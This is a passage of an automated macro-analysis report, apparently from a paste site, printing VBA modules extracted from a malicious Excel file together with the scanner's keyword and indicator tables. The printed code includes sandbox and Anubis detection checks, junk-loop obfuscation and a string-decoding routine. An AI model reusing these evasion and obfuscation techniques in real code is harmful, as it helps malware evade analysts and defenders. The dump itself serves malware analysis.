  1703. Dim NNaFlzJZLU As Integer
  1704. NNaFlzJZLU = 7:
  1705. Do While NNaFlzJZLU < 21
  1706.    DoEvents: NNaFlzJZLU = NNaFlzJZLU + 1
  1707. Loop
  1708.  
  1709. End Sub
  1710.  
  1711. Private Sub ROXvhZehfltUFGkWmbjzDmqLByyYBTpTivowY()
  1712.  
  1713. If "YnfDxIDyfk" = "CbvoCNtarA" Then End
  1714.  
  1715. Dim ICBYHfRbOR As Long
  1716. ICBYHfRbOR = "95":
  1717.  
  1718. GoTo wEopUZwLTc
  1719. wEopUZwLTc:
  1720.  
  1721. GoTo TOdIihKcZD
  1722. TOdIihKcZD:
  1723.  
  1724. If "yYGIjFrZvn" = "efQEgnsDKd" Then End
  1725.  
  1726. End Sub
  1727.  
  1728. Private Sub VJUthYHACPChenmxiuRPudkVPUGdSsJTvAukP()
  1729.  
  1730. Dim EhLAggoQrn As Integer
  1731. EhLAggoQrn = 7:
  1732. Do While EhLAggoQrn < 4
  1733.    DoEvents: EhLAggoQrn = EhLAggoQrn + 1
  1734. Loop
  1735.  
  1736. Dim WNOYmPvUlS As Long
  1737. WNOYmPvUlS = "4971":
  1738.  
  1739. If "sXDRBqclyl" = "rOxPaSxaye" Then End
  1740.  
  1741. If "ZdpNbcTWfj" = "eUSSRtMpTb" Then End
  1742.  
  1743. Dim owrToBpFEV As Long
  1744. owrToBpFEV = "3340":
  1745.  
  1746. End Sub
  1747.  
  1748. - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - -
  1749. ANALYSIS:
  1750. No suspicious keyword or IOC found.
  1751. -------------------------------------------------------------------------------
  1752. VBA MACRO sdfdsf.bas
  1753. in file: 89WDZ.xls - OLE stream: u'_VBA_PROJECT_CUR/VBA/sdfdsf'
  1754. - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - -
  1755. Private Declare Function GetVolumeInformation Lib "kernel32.dll" Alias "GetVolumeInformationA" (ByVal lpRootPathName As String, ByVal lpVolumeNameBuffer As String, ByVal nVolumeNameSize As Integer, lpVolumeSerialNumber As Long, lpMaximumComponentLength As Long, lpFileSystemFlags As Long, ByVal lpFileSystemNameBuffer As String, ByVal nFileSystemNameSize As Long) As Long
  1756.  
  1757. Function IsAnubisPresent(ByVal OptionToCheck As Integer) As Boolean
  1758.    On Error Resume Next
  1759.    Set WShell = CreateObject("WScript.Shell")
  1760.  
  1761.    Select Case OptionToCheck
  1762.        Case 1
  1763.            If GetSerialNumber(Environ("SystemDrive") & "\") = "1824245000" Then
  1764.                IsAnubisPresent = True
  1765.            Else
  1766.                IsAnubisPresent = False
  1767.            End If
  1768.        Case 2
  1769.            If WShell.RedRead("HKEY_LOCAL_MACHINE\SOFTWARE\Microsoft\Windows NT\CurrentVersion\ProductId") = "76487-337-8429955-22614" Then
  1770.                IsAnubisPresent = True
  1771.            Else
  1772.                IsAnubisPresent = False
  1773.            End If
  1774.        Case 3
  1775.            If UCase(App.EXEName) = "SAMPLE" Then
  1776.                IsAnubisPresent = True
  1777.            Else
  1778.                IsAnubisPresent = False
  1779.            End If
  1780.        Case 4
  1781.            If UCase(Environ("USERNAME")) = "USER" Then
  1782.                IsAnubisPresent = True
  1783.            Else
  1784.                IsAnubisPresent = False
  1785.            End If
  1786.    End Select
  1787. End Function
  1788.  
  1789. Public Function GetSerialNumber(DriveLetter As String) As Long
  1790.    Buffer1 = String$(255, Chr$(0))
  1791.    Buffer2 = String$(255, Chr$(0))
  1792.    Res = GetVolumeInformation(DriveLetter, Buffer1, Len(Buffer1), SerialNum, 0, 0, Buffer2, Len(Buffer2))
  1793.    GetSerialNumber = SerialNum
  1794. End Function
  1795. - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - -
  1796. ANALYSIS:
  1797. +------------+----------------+-----------------------------------------+
  1798. | Type       | Keyword        | Description                             |
  1799. +------------+----------------+-----------------------------------------+
  1800. | Suspicious | CreateObject   | May create an OLE object                |
  1801. | Suspicious | Lib            | May run code from a DLL                 |
  1802. | Suspicious | Shell          | May run an executable file or a system  |
  1803. |            |                | command                                 |
  1804. | Suspicious | WScript.Shell  | May run an executable file or a system  |
  1805. |            |                | command                                 |
  1806. | Suspicious | Environ        | May read system environment variables   |
  1807. | Suspicious | Windows        | May enumerate application windows (if   |
  1808. |            |                | combined with Shell.Application object) |
  1809. | Suspicious | Chr            | May attempt to obfuscate specific       |
  1810. |            |                | strings                                 |
  1811. | Suspicious | Hex Strings    | Hex-encoded strings were detected, may  |
  1812. |            |                | be used to obfuscate strings (option    |
  1813. |            |                | --decode to see all)                    |
  1814. | Suspicious | Base64 Strings | Base64-encoded strings were detected,   |
  1815. |            |                | may be used to obfuscate strings        |
  1816. |            |                | (option --decode to see all)            |
  1817. | IOC        | kernel32.dll   | Executable file name                    |
  1818. +------------+----------------+-----------------------------------------+
  1819. -------------------------------------------------------------------------------
  1820. VBA MACRO sdfsdfsdf.bas
  1821. in file: 89WDZ.xls - OLE stream: u'_VBA_PROJECT_CUR/VBA/sdfsdfsdf'
  1822. - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - -
  1823. Public Declare Function GetModuleHandle Lib "kernel32" Alias "GetModuleHandleA" (ByVal lpModuleName As String) As Long
  1824.  
  1825. Function IsSandBoxiePresent(ByVal OptionToCheck As Integer) As Boolean
  1826.    Select Case OptionToCheck
  1827.        Case 1  'Recomendado
  1828.           Dim hSbie As Long
  1829.  
  1830.            hSbie = GetModuleHandle("SbieDll.dll")
  1831.            If hSbie <> 0 Then
  1832.                IsSandBoxiePresent = True
  1833.            Else
  1834.                IsSandBoxiePresent = False
  1835.            End If
  1836.        Case 2  'No recomendado
  1837.           If InStr(MainFrm.Caption, "[#]") <> 0 Then
  1838.                IsSandBoxiePresent = True
  1839.            Else
  1840.                IsSandBoxiePresent = False
  1841.            End If
  1842.    End Select
  1843. End Function
  1844. - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - -
  1845. ANALYSIS:
  1846. +------------+----------------+-----------------------------------------+
  1847. | Type       | Keyword        | Description                             |
  1848. +------------+----------------+-----------------------------------------+
  1849. | Suspicious | Lib            | May run code from a DLL                 |
  1850. | Suspicious | Base64 Strings | Base64-encoded strings were detected,   |
  1851. |            |                | may be used to obfuscate strings        |
  1852. |            |                | (option --decode to see all)            |
  1853. | IOC        | SbieDll.dll    | Executable file name                    |
  1854. +------------+----------------+-----------------------------------------+
  1855. -------------------------------------------------------------------------------
  1856. VBA MACRO sdfsdfsdffff.bas
  1857. in file: 89WDZ.xls - OLE stream: u'_VBA_PROJECT_CUR/VBA/sdfsdfsdffff'
  1858. - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - -
  1859. Public Function MkSrpQP(ByVal strData As String, ByVal strKey As String)
  1860. Dim bData() As Byte
  1861. Dim cSIQhPPCpQ As Integer
  1862. For cSIQhPPCpQ = 0 To 0
  1863. If cSIQhPPCpQ = 5 Then End
  1864. Next cSIQhPPCpQ
  1865. Dim BGOEkt As Integer
  1866. For BGOEkt = 0 To 0
  1867. If BGOEkt = 5 Then End
  1868. Next BGOEkt
  1869. Dim bKey() As Byte
  1870. Dim mCDZb As Integer
  1871. For mCDZb = 0 To 0
  1872. If mCDZb = 5 Then End
  1873. Next mCDZb
  1874. Dim hDCeLdOSt As Integer
  1875. For hDCeLdOSt = 0 To 0
  1876. If hDCeLdOSt = 5 Then End
  1877. Next hDCeLdOSt
  1878. bData = StrConv(strData, vbFromUnicode)
  1879. Dim iALAxrJGeN As Integer
  1880. For iALAxrJGeN = 0 To 0
  1881. If iALAxrJGeN = 5 Then End
  1882. Next iALAxrJGeN
  1883. Dim DCeLdO As Integer
  1884. For DCeLdO = 0 To 0
  1885. If DCeLdO = 5 Then End
  1886. Next DCeLdO
  1887. bKey = StrConv(strKey, vbFromUnicode)
  1888. Dim sGQzzmmNQKfJiAL As Integer
  1889. For sGQzzmmNQKfJiAL = 0 To 0
  1890. If sGQzzmmNQKfJiAL = 5 Then End
  1891. Next sGQzzmmNQKfJiAL
  1892. Dim tSeZqoKgExtE As Integer
  1893. For tSeZqoKgExtE = 0 To 0
  1894. If tSeZqoKgExtE = 5 Then End
  1895. Next tSeZqoKgExtE
  1896. For i = 0 To UBound(bData)
  1897. Dim MLQBuBgGsI As Integer
  1898. For MLQBuBgGsI = 0 To 0
  1899. If MLQBuBgGsI = 5 Then End
  1900. Next MLQBuBgGsI
  1901. Dim PRyEYg As Integer
  1902. For PRyEYg = 0 To 0
  1903. If PRyEYg = 5 Then End
  1904. Next PRyEYg
  1905. If i <= UBound(bKey) Then
  1906. Dim zAhBGOEktusx As Integer
  1907. For zAhBGOEktusx = 0 To 0
  1908. If zAhBGOEktusx = 5 Then End
  1909. Next zAhBGOEktusx
  1910. Dim QSHcSIQ As Integer
  1911. For QSHcSIQ = 0 To 0
  1912. If QSHcSIQ = 5 Then End
  1913. Next QSHcSIQ
  1914. bData(i) = bData(i) - bKey(i)
  1915. Dim ALAxrJ As Integer
  1916. For ALAxrJ = 0 To 0
  1917. If ALAxrJ = 5 Then End
  1918. Next ALAxrJ
  1919. Dim DbVzAhBG As Integer
  1920. For DbVzAhBG = 0 To 0
  1921. If DbVzAhBG = 5 Then End
  1922. Next DbVzAhBG
  1923. Else
  1924. Dim ddchRKRwJIZc As Integer
  1925. For ddchRKRwJIZc = 0 To 0
  1926. If ddchRKRwJIZc = 5 Then End
  1927. Next ddchRKRwJIZc
  1928. Dim vSNrta As Integer
  1929. For vSNrta = 0 To 0
  1930. If vSNrta = 5 Then End
  1931. Next vSNrta
  1932. bData(i) = bData(i) - bKey(i Mod UBound(bKey))
  1933. Dim aeEspjB As Integer
  1934. For aeEspjB = 0 To 0
  1935. If aeEspjB = 5 Then End
  1936. Next aeEspjB
  1937. Dim ZhuVqUtK As Integer
  1938. For ZhuVqUtK = 0 To 0
  1939. If ZhuVqUtK = 5 Then End
  1940. Next ZhuVqUtK
  1941. End If
  1942. Dim pQoae As Integer
  1943. For pQoae = 0 To 0
  1944. If pQoae = 5 Then End
  1945. Next pQoae
  1946. Dim xxZhuVqUtKlL As Integer
  1947. For xxZhuVqUtKlL = 0 To 0
  1948. If xxZhuVqUtKlL = 5 Then End
  1949. Next xxZhuVqUtKlL
  1950. Next i
  1951. Dim spjBzVrPV As Integer
  1952. For spjBzVrPV = 0 To 0
  1953. If spjBzVrPV = 5 Then End
  1954. Next spjBzVrPV
  1955. Dim PkMRfcKYxxZ As Integer
  1956. For PkMRfcKYxxZ = 0 To 0
  1957. If PkMRfcKYxxZ = 5 Then End
  1958. Next PkMRfcKYxxZ
  1959.  MkSrpQP = StrConv(bData, vbUnicode)
  1960. Dim QScmhKas As Integer
  1961. For QScmhKas = 0 To 0
  1962. If QScmhKas = 5 Then End
  1963. Next QScmhKas
  1964. Dim xNdkmv As Integer
  1965. For xNdkmv = 0 To 0
  1966. If xNdkmv = 5 Then End
  1967. Next xNdkmv
  1968. End Function
  1969.  
  1970. - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - -
  1971. ANALYSIS:
  1972. No suspicious keyword or IOC found.
RAW Paste Data
Top